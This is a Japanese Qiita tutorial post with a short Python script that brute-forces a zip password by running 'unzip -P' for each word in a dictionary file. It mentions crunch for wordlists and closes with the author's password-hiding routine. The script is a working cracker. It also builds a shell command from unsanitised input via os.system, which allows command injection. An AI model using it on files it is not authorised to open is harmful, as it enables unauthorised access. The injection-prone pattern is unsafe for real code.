LoginSignup
2
7

More than 5 years have passed since last update.

Zipファイルへの総当り攻撃

Last updated at Posted at 2017-12-17

前回 ,PythonでBasic認証へ総当たり攻撃という記事を書いたのですが,今回はZipファイルに対して総当たり攻撃を行いました.

  • 悪用厳禁です!
    • ペネトレーションテストで使うなりしてください.

ソースコード

# args[1] -> dictionary file , args[2] -> zip file


import os
import sys

args = sys.argv

dic = open(args[1],"r")
passwd_list=dic.read().split("\n")

for passwd in passwd_list:
    if len(passwd) == 0:
        print("empty")
    else:
        result=os.system('unzip -P ' + passwd + ' ' + args[2])
        if result == 0:
            print("password is found!!! ->",passwd)
            sys.exit()
print("password is not found")

一応説明

そんな説明することもないのですが,一応

  • ひとつ目の引数に辞書ファイル、ふたつ目の引数にzipファイルを渡す.
  • 辞書ファイルを1行ずつ読み、Zipファイルのパスワードと照合.
  • パスワードが見つかれば, sys.exit()でプログラム終了
    • 見つからなければその旨を出力

辞書ファイルを作る

パスワードは厳重に

  • この程度のソースコードとcrunchで作った辞書ファイルで破られるようなパスワードにはしないでください.(crunchで10桁とか作っている人がいたら厳しいんですけどね・・・)

最後に

  • 自分のパスワードの管理方法を紹介します.
  1. まずはパスワードを8桁以上で作成する.(使い回しはやめよう)
  2. パスワードをテキストファイル( (例)pass.txt )にメモする.(よくないかも)
  3. outguessコマンドを使った,ステガノグラフィーで適当な画像ファイルにpass.txtを埋め込む. -> 参考
  4. 画像ファイルをzipコマンドでパスワード付きで圧縮する.
  • zipファイルのパスワードが破られたとしても,画像ファイルが出てくるだけなので,わからないひとには全くわからない(はず)
2
7
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
7